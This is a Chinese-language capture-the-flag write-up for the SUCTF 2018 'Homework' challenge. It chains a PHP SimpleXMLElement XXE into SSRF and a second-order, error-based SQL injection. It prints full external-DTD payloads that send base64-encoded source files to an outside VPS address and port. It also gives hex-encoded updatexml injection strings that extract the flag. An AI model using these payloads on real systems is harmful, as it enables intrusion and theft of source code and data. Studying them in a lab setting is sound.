[SUCTF 2018]Homework
解题步骤
先注册一个帐号进去。给了calc的代码,但是好像没卵用。还有一个文件上传。上传了似乎没啥p用。点击calc按钮,url上多了一堆参数。没啥想法了,代码又读不到。直接看wp了:https://www.xctf.org.cn/library/details/2ff21f569a791e21cbd6ce0d4675a9de5ec2373a/
md,居然可以用原生类。需要进行xxe。看一波SimpleXMLElement::__construct
:
然后直接xxe读源码。关于第二个选项的设置,在:https://www.php.net/manual/zh/libxml.constants.php
直接告诉我们可以进行xxe,本地echo这个预订义的数值为2。
在vps上写两个xml。
xxe.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://47.96.173.116/xxe2.xml">
%int;
%all;
%send;
]>
xxe2.xml
<!ENTITY % asd SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.96.173.116:2333/?%asd;'>">
然后在show.php上传参
http://993fe605-aa0d-4724-ad22-e908721a0057.node4.buuoj.cn:81/show.php?module=SimpleXMLElement&args[]=http://47.96.173.116/xxe.xml&args[]=2&args[]=true
然后vps监听2333端口可以得到base64源码,直接读完开审。
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
上面的show.php里面的sig明显有二次注入。而且需要ssrf才能读取。
<?php echo "<input type=\"hidden\" name=\"sig\" value=".mt_rand().">";?>
sig在submit.php上传设置。所以思路来了,搞一波sig,然后用xxe进行ssrf sql注入读取信息。
首先需要将sig写进去。
sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")
function.php有对括号的绕过,所以不能硬传注入语句,需要hex一下,因为用的php检测括号,所以16进制检测不出,然后进入sql直接变回原来的语句。除此之外,一旦输入不正确的sql语句,报错信息直接回显,那么直接来一波报错注入。由于啥过滤没有,直接冲
#我tm服了,不懂为啥每次用information库读表名和列名直接报错,算了,直接放payload
-1'||updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)#
#0x2d31277c7c757064617465786d6c28312c636f6e63617428307837652c2873656c65637420666c61672066726f6d20666c6167292c30783765292c312923
#由于读取字符有限,直接reverse就行
-1'||updatexml(1,concat(0x7e,(select reverse(flag) from flag),0x7e),1)#
#0x2d31277c7c757064617465786d6c28312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c30783765292c312923
然后每传一次都要修改文件名,同时修改vps上的xxe2.xml
<!ENTITY % asd SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=3.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.96.173.116:2333/?%asd;'>">